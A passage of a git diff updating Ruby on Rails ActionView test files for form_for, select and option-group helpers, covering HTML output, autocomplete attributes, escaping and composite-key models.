+    assert_dom_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), @rendered
   end
 
   def test_form_for_with_hash_url_option
@@ -3352,14 +4134,14 @@ def test_form_for_with_record_url_option
     form_for(@post, url: @post) do |f| end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_existing_object
     form_for(@post) do |f| end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_new_object
@@ -3370,56 +4152,56 @@ def post.to_key; nil; end
     form_for(post) do |f| end
 
     expected = whole_form("/posts", "new_post", "new_post")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_existing_object_in_list
     @comment.save
-    form_for([@post, @comment]) {}
+    form_for([@post, @comment]) { }
 
     expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_new_object_in_list
-    form_for([@post, @comment]) {}
+    form_for([@post, @comment]) { }
 
     expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_existing_object_and_namespace_in_list
     @comment.save
-    form_for([:admin, @post, @comment]) {}
+    form_for([:admin, @post, @comment]) { }
 
     expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_new_object_and_namespace_in_list
-    form_for([:admin, @post, @comment]) {}
+    form_for([:admin, @post, @comment]) { }
 
     expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_existing_object_and_custom_url
     form_for(@post, url: "/super_posts") do |f| end
 
     expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_default_method_as_patch
-    form_for(@post) {}
+    form_for(@post) { }
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_data_attributes
-    form_for(@post, data: { behavior: "stuff" }, remote: true) {}
-    assert_match %r|data-behavior="stuff"|, output_buffer
-    assert_match %r|data-remote="true"|, output_buffer
+    form_for(@post, data: { behavior: "stuff" }, remote: true) { }
+    assert_match %r|data-behavior="stuff"|, @rendered
+    assert_match %r|data-remote="true"|, @rendered
   end
 
   def test_fields_for_returns_block_result
@@ -3436,30 +4218,43 @@ def test_form_for_only_instantiates_builder_once
       end
     end
 
-    form_for(@post, builder: builder_class) {}
+    form_for(@post, builder: builder_class) { }
     assert_equal 1, initialization_count, "form builder instantiated more than once"
   end
 
-  private
+  def test_form_for_with_new_cpk_model
+    form_for(Cpk::Book.new) { }
 
+    expected = whole_form("/cpk/books", "new_cpk_book", "new_cpk_book", method: "post")
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_persisted_cpk_model
+    form_for(Cpk::Book.new(id: [1, 2], title: "Some book")) { }
+
+    expected = whole_form("/cpk/books/1-2", "edit_cpk_book_1_2", "edit_cpk_book", method: "patch")
+    assert_dom_equal expected, @rendered
+  end
+
+  private
     def hidden_fields(options = {})
       method = options[:method]
 
       if options.fetch(:enforce_utf8, true)
-        txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+        txt = +%{<input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" />}
       else
-        txt = ""
+        txt = +""
       end
 
       if method && !%w(get post).include?(method.to_s)
-        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+        txt << %{<input name="_method" type="hidden" value="#{method}" autocomplete="off" />}
       end
 
       txt
     end
 
     def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
-      txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+      txt =  +%{<form accept-charset="UTF-8"} + (action ? %{ action="#{action}"} : "")
       txt << %{ enctype="multipart/form-data"} if multipart
       txt << %{ data-remote="true"} if remote
       txt << %{ class="#{html_class}"} if html_class
@@ -3480,10 +4275,12 @@ def protect_against_forgery?
       false
     end
 
-    def with_locale(testing_locale = :label)
-      old_locale, I18n.locale = I18n.locale, testing_locale
+    def with_default_enforce_utf8(value)
+      old_value = ActionView::Helpers::FormTagHelper.default_enforce_utf8
+      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = value
+
       yield
     ensure
-      I18n.locale = old_locale
+      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
     end
 end
diff --git a/actionview/test/template/form_options_helper_i18n_test.rb b/actionview/test/template/form_options_helper_i18n_test.rb
index a1048fbb894c2..3dc625b8ac1df 100644
--- a/actionview/test/template/form_options_helper_i18n_test.rb
+++ b/actionview/test/template/form_options_helper_i18n_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class FormOptionsHelperI18nTests < ActionView::TestCase
@@ -14,7 +16,7 @@ def teardown
   end
 
   def test_select_with_prompt_true_translates_prompt_message
-    assert_called_with(I18n, :translate, ["helpers.select.prompt", { default: "Please select" }]) do
+    assert_called_with(I18n, :translate, ["helpers.select.prompt"], default: "Please select") do
       select("post", "category", [], prompt: true)
     end
   end
diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb
index 258dcdb806343..34b7a0922ba46 100644
--- a/actionview/test/template/form_options_helper_test.rb
+++ b/actionview/test/template/form_options_helper_test.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/object/with"
 
 class Map < Hash
   def category
@@ -6,20 +10,47 @@ def category
   end
 end
 
+class CustomEnumerable
+  include Enumerable
+
+  def each
+    yield "one"
+    yield "two"
+  end
+end
+
 class FormOptionsHelperTest < ActionView::TestCase
   tests ActionView::Helpers::FormOptionsHelper
 
   silence_warnings do
-    Post        = Struct.new("Post", :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
+    Post        = Struct.new("Post", :title, :author_name, :body, :written_on, :category, :origin, :allow_comments) do
+                    private
+                      def secret
+                        "This is super secret: #{author_name} is not the real author of #{title}"
+                      end
+                  end
     Continent   = Struct.new("Continent", :continent_name, :countries)
     Country     = Struct.new("Country", :country_id, :country_name)
-    Firm        = Struct.new("Firm", :time_zone)
     Album       = Struct.new("Album", :id, :title, :genre)
+    Digest      = Struct.new("Digest", :send_day)
+  end
+
+  class Firm
+    include ActiveModel::Validations
+    extend ActiveModel::Naming
+
+    attr_accessor :time_zone
+
+    def initialize(time_zone = nil)
+      @time_zone = time_zone
+    end
   end
 
   module FakeZones
     FakeZone = Struct.new(:name) do
       def to_s; name; end
+      def =~(_re); end
+      def match?(_re); end
     end
 
     module ClassMethods
@@ -29,8 +60,8 @@ def dummy; :test; end
     end
 
     def self.prepended(base)
+      base.mattr_accessor(:fake_zones)
       class << base
-        mattr_accessor(:fake_zones)
         prepend ClassMethods
       end
     end
@@ -39,9 +70,9 @@ class << base
   ActiveSupport::TimeZone.prepend FakeZones
 
   setup do
-    ActiveSupport::TimeZone.fake_zones = %w(A B C D E).map do |id|
-      [ id, FakeZones::FakeZone.new(id) ]
-    end.to_h
+    ActiveSupport::TimeZone.fake_zones = %w(A B C D E).index_with do |id|
+      FakeZones::FakeZone.new(id)
+    end
 
     @fake_timezones = ActiveSupport::TimeZone.all
   end
@@ -57,6 +88,20 @@ def test_collection_options
     )
   end
 
+  def test_collection_options_with_private_value_method
+    e = assert_raise(NoMethodError) do
+      options_from_collection_for_select(dummy_posts, "secret", "title")
+    end
+    assert_match(/private method/, e.message)
+  end
+
+  def test_collection_options_with_private_text_method
+    e = assert_raise(NoMethodError) do
+      options_from_collection_for_select(dummy_posts, "author_name", "secret")
+    end
+    assert_match(/private method/, e.message)
+  end
+
   def test_collection_options_with_preselected_value
     assert_dom_equal(
       "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
@@ -260,8 +305,8 @@ def test_ducktyped_options_for_select
   def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
     albums = [ Album.new(1, "first", "rap"), Album.new(2, "second", "pop")]
     assert_dom_equal(
-    %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", selected: "1")
+      %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: "1")
     )
   end
 
@@ -269,8 +314,8 @@ def test_collection_options_with_preselected_value_as_integer_and_option_value_i
     albums = [ Album.new("1", "first", "rap"), Album.new("2", "second", "pop")]
 
     assert_dom_equal(
-    %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", selected: 1)
+      %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: 1)
     )
   end
 
@@ -278,8 +323,8 @@ def test_collection_options_with_preselected_value_as_string_and_option_value_is
     albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
 
     assert_dom_equal(
-    %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", selected: "2.0")
+      %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: "2.0")
     )
   end
 
@@ -287,8 +332,8 @@ def test_collection_options_with_preselected_value_as_nil
     albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
 
     assert_dom_equal(
-    %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", selected: nil)
+      %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", selected: nil)
     )
   end
 
@@ -296,8 +341,8 @@ def test_collection_options_with_disabled_value_as_nil
     albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
 
     assert_dom_equal(
-    %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", disabled: nil)
+      %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", disabled: nil)
     )
   end
 
@@ -305,8 +350,8 @@ def test_collection_options_with_disabled_value_as_array
     albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop")]
 
     assert_dom_equal(
-    %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
-    options_from_collection_for_select(albums, "id", "genre", disabled: ["1.0", 2.0])
+      %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
+      options_from_collection_for_select(albums, "id", "genre", disabled: ["1.0", 2.0])
     )
   end
 
@@ -314,8 +359,8 @@ def test_collection_options_with_preselected_values_as_string_array_and_option_v
     albums = [ Album.new(1.0, "first", "rap"), Album.new(2.0, "second", "pop"), Album.new(3.0, "third", "country") ]
 
     assert_dom_equal(
-    %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
-    options_from_collection_for_select(albums, "id", "genre", ["1.0", "3.0"])
+      %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
+      options_from_collection_for_select(albums, "id", "genre", ["1.0", "3.0"])
     )
   end
 
@@ -326,8 +371,24 @@ def test_option_groups_from_collection_for_select
     )
   end
 
+  def test_option_groups_from_collection_for_select_with_callable_group_method
+    group_proc = Proc.new { |c| c.countries }
+    assert_dom_equal(
+      "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+      option_groups_from_collection_for_select(dummy_continents, group_proc, "continent_name", "country_id", "country_name", "dk")
+    )
+  end
+
+  def test_option_groups_from_collection_for_select_with_callable_group_label_method
+    label_proc = Proc.new { |c| c.continent_name }
+    assert_dom_equal(
+      "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+      option_groups_from_collection_for_select(dummy_continents, "countries", label_proc, "country_id", "country_name", "dk")
+    )
+  end
+
   def test_option_groups_from_collection_for_select_returns_html_safe_string
-    assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
+    assert_predicate option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk"), :html_safe?
   end
 
   def test_grouped_options_for_select_with_array
@@ -356,26 +417,26 @@ def test_grouped_options_for_select_with_optional_divider
     assert_dom_equal(
       "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
 
-      grouped_options_for_select([["US", "Canada"] , ["GB", "Germany"]], nil, divider: "----------")
+      grouped_options_for_select([["US", "Canada"], ["GB", "Germany"]], nil, divider: "----------")
     )
   end
 
   def test_grouped_options_for_select_with_selected_and_prompt
     assert_dom_equal(
-        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
+      "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+      grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
     )
   end
 
   def test_grouped_options_for_select_with_selected_and_prompt_true
     assert_dom_equal(
-        "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], "Cowboy Hat", prompt: true)
+      "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+      grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]], "Cowboy Hat", prompt: true)
     )
   end
 
   def test_grouped_options_for_select_returns_html_safe_string
-    assert grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]]).html_safe?
+    assert_predicate grouped_options_for_select([["Hats", ["Baseball Cap", "Cowboy Hat"]]]), :html_safe?
   end
 
   def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
@@ -386,8 +447,8 @@ def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
 
   def test_optgroups_with_with_options_with_hash
     assert_dom_equal(
-       "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
-       grouped_options_for_select("North America" => ["United States", "Canada"], "Europe" => ["Denmark", "Germany"])
+      "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+      grouped_options_for_select("North America" => ["United States", "Canada"], "Europe" => ["Denmark", "Germany"])
     )
   end
 
@@ -465,7 +526,7 @@ def test_time_zone_options_with_priority_zones_does_not_mutate_time_zones
   end
 
   def test_time_zone_options_returns_html_safe_string
-    assert time_zone_options_for_select.html_safe?
+    assert_predicate time_zone_options_for_select, :html_safe?
   end
 
   def test_select
@@ -477,10 +538,27 @@ def test_select
     )
   end
 
+  def test_select_with_class
+    assert_dom_equal(
+      "<select name=\"post[class]\" id=\"post_class\"><option value=\"Struct::Post\">Struct::Post</option></select>",
+      select(:post, :class, [Post])
+    )
+  end
+
   def test_select_without_multiple
     assert_dom_equal(
       "<select id=\"post_category\" name=\"post[category]\"></select>",
-      select(:post, :category, "", {}, multiple: false)
+      select(:post, :category, "", {}, { multiple: false })
+    )
+  end
+
+  def test_required_select_with_default_and_selected_placeholder
+    assert_dom_equal(
+      ['<select required="required" name="post[category]" id="post_category"><option disabled="disabled" selected="selected" value="">Choose one</option>',
+      '<option value="lifestyle">lifestyle</option>',
+      '<option value="programming">programming</option>',
+      '<option value="spiritual">spiritual</option></select>'].join("\n"),
+      select(:post, :category, ["lifestyle", "programming", "spiritual"], { selected: "", disabled: "", prompt: "Choose one" }, { required: true })
     )
   end
 
@@ -520,6 +598,24 @@ def test_select_with_grouped_collection_as_hash
     )
   end
 
+  def test_select_with_grouped_collection_as_nested_array_and_html_attributes
+    @post = Post.new
+
+    countries_by_continent = [
+      ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]], data: { foo: "bar" }],
+      ["Europe",   [["Denmark", "dk"], ["Ireland", "ie"]], disabled: "disabled"],
+    ]
+
+    assert_dom_equal(
+      [
+        '<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;" data-foo="bar"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>',
+        '<option value="so">Somalia</option></optgroup><optgroup label="Europe" disabled="disabled"><option value="dk">Denmark</option>',
+        '<option value="ie">Ireland</option></optgroup></select>',
+      ].join("\n"),
+      select("post", "origin", countries_by_continent)
+    )
+  end
+
   def test_select_with_boolean_method
     @post = Post.new
     @post.allow_comments = false
@@ -618,7 +714,7 @@ def test_select_under_fields_for_with_block_without_options
     @post = Post.new
 
     output_buffer = fields_for :post, @post do |f|
-      concat(f.select(:category) {})
+      concat(f.select(:category) { })
     end
 
     assert_dom_equal(
@@ -628,15 +724,15 @@ def test_select_under_fields_for_with_block_without_options
   end
 
   def test_select_with_multiple_to_add_hidden_input
-    output_buffer = select(:post, :category, "", {}, multiple: true)
+    output_buffer = select(:post, :category, "", {}, { multiple: true })
     assert_dom_equal(
-      "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      "<input type=\"hidden\" name=\"post[category][]\" value=\"\" autocomplete=\"off\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
       output_buffer
     )
   end
 
   def test_select_with_multiple_and_without_hidden_input
-    output_buffer = select(:post, :category, "", { include_hidden: false }, multiple: true)
+    output_buffer = select(:post, :category, "", { include_hidden: false }, { multiple: true })
     assert_dom_equal(
       "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
       output_buffer
@@ -644,7 +740,7 @@ def test_select_with_multiple_and_without_hidden_input
   end
 
   def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
-    output_buffer = select(:post, :category, [], { include_hidden: false }, multiple: true, name: "post[category][]")
+    output_buffer = select(:post, :category, [], { include_hidden: false }, { multiple: true, name: "post[category][]" })
     assert_dom_equal(
       "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
       output_buffer
@@ -652,18 +748,36 @@ def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
   end
 
   def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
-    output_buffer = select(:post, :category, "", {}, multiple: true, disabled: true)
+    output_buffer = select(:post, :category, "", {}, { multiple: true, disabled: true })
     assert_dom_equal(
-      "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
+      "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\" autocomplete=\"off\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
       output_buffer
     )
   end
 
+  def test_select_with_multiple_and_include_hidden
+    output_buffer = select(:post, :category, "", { include_hidden: true }, { multiple: true })
+    assert_dom_equal(
+      "<input name=\"post[category][]\" type=\"hidden\" value=\"\" autocomplete=\"off\" /><select multiple=\"multiple\" name=\"post[category][]\" id=\"post_category\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_include_hidden_omits_autocomplete
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      output_buffer = select(:post, :category, "", { include_hidden: true }, { multiple: true })
+      assert_dom_equal(
+        "<input name=\"post[category][]\" type=\"hidden\" value=\"\" /><select multiple=\"multiple\" name=\"post[category][]\" id=\"post_category\"></select>",
+        output_buffer
+      )
+    end
+  end
+
   def test_select_with_blank
     @post = Post.new
     @post.category = "<mus>"
     assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\" label=\" \"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
       select("post", "category", %w( abe <mus> hest), include_blank: true)
     )
   end
@@ -671,7 +785,7 @@ def test_select_with_blank
   def test_select_with_include_blank_false_and_required
     @post = Post.new
     @post.category = "<mus>"
-    e = assert_raises(ArgumentError) { select("post", "category", %w( abe <mus> hest), { include_blank: false }, required: "required") }
+    e = assert_raises(ArgumentError) { select("post", "category", %w( abe <mus> hest), { include_blank: false }, { required: "required" }) }
     assert_match(/include_blank cannot be false for a required field./, e.message)
   end
 
@@ -732,7 +846,7 @@ def test_select_with_prompt_and_blank
     @post = Post.new
     @post.category = ""
     assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\" label=\" \"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
       select("post", "category", %w( abe <mus> hest), prompt: true, include_blank: true)
     )
   end
@@ -741,7 +855,7 @@ def test_select_with_empty
     @post = Post.new
     @post.category = ""
     assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\" label=\" \"></option>\n</select>",
       select("post", "category", [], prompt: true, include_blank: true)
     )
   end
@@ -750,8 +864,8 @@ def test_select_with_html_options
     @post = Post.new
     @post.category = ""
     assert_dom_equal(
-        "<select class=\"disabled\" disabled=\"disabled\" name=\"post[category]\" id=\"post_category\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
-        select("post", "category", [], { prompt: true, include_blank: true }, class: "disabled", disabled: true)
+      "<select class=\"disabled\" disabled=\"disabled\" name=\"post[category]\" id=\"post_category\"><option value=\"\">Please select</option>\n<option value=\"\" label=\" \"></option>\n</select>",
+      select("post", "category", [], { prompt: true, include_blank: true }, { class: "disabled", disabled: true })
     )
   end
 
@@ -764,53 +878,84 @@ def test_select_with_nil
     )
   end
 
-  def test_required_select
+  def test_select_with_nil_as_selected_value
+    @post = Post.new
+    @post.category = nil
     assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true)
+      "<select name=\"post[category]\" id=\"post_category\"><option selected=\"selected\" value=\"\">none</option>\n<option value=\"1\">programming</option>\n<option value=\"2\">economics</option></select>",
+      select("post", "category", none: nil, programming: 1, economics: 2)
     )
   end
 
-  def test_required_select_with_include_blank_prompt
+  def test_select_with_nil_and_selected_option_as_nil
+    @post = Post.new
+    @post.category = nil
     assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
+      "<select name=\"post[category]\" id=\"post_category\"><option value=\"\">none</option>\n<option value=\"1\">programming</option>\n<option value=\"2\">economics</option></select>",
+      select("post", "category", { none: nil, programming: 1, economics: 2 }, { selected: nil })
     )
   end
 
+  def test_select_with_array
+    @continent = Continent.new
+    @continent.countries = ["Africa", "Europe"]
+
+    expected_with_hidden_field_and_multiple = %(<input name="continent[countries][]" type="hidden" value="" autocomplete="off"/><select name="continent[countries][]" id="continent_countries" multiple="multiple"><option selected="selected" value="Africa">Africa</option>\n<option selected="selected" value="Europe">Europe</option>\n<option value="America">America</option></select>)
+    expected_without_hidden_field = %(<select name="continent[countries]" id="continent_countries"><option selected="selected" value="Africa">Africa</option>\n<option selected="selected" value="Europe">Europe</option>\n<option value="America">America</option></select>)
+
+    assert_dom_equal(expected_with_hidden_field_and_multiple, select("continent", "countries", %W(Africa Europe America), { multiple: true }))
+    assert_dom_equal(expected_with_hidden_field_and_multiple, select("continent", "countries", %W(Africa Europe America), multiple: true))
+    assert_dom_equal(expected_with_hidden_field_and_multiple, select("continent", "countries", %W(Africa Europe America), {}, { multiple: true }))
+    assert_dom_equal(expected_without_hidden_field, select("continent", "countries", %W(Africa Europe America)))
+  end
+
+  def test_required_select
+    expected = %(<select id="post_category" name="post[category]" required="required"><option value="" label=" "></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>)
+
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), {}, { required: true }))
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), required: true))
+  end
+
+  def test_required_select_with_include_blank_prompt
+    expected = %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>)
+
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, { required: true }))
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), include_blank: "Select one", required: true))
+  end
+
   def test_required_select_with_prompt
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
-    )
+    expected = %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>)
+
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), { prompt: "Select one" }, { required: true }))
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), prompt: "Select one", required: true))
   end
 
   def test_required_select_display_size_equals_to_one
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
-    )
+    expected = %(<select id="post_category" name="post[category]" required="required" size="1"><option value="" label=" "></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>)
+
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), {}, { required: true, size: 1 }))
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), required: true, size: 1))
   end
 
   def test_required_select_with_display_size_bigger_than_one
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
-    )
+    expected = %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>)
+
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), {}, { required: true, size: 2 }))
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), required: true, size: 2))
   end
 
   def test_required_select_with_multiple_option
-    assert_dom_equal(
-      %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
-    )
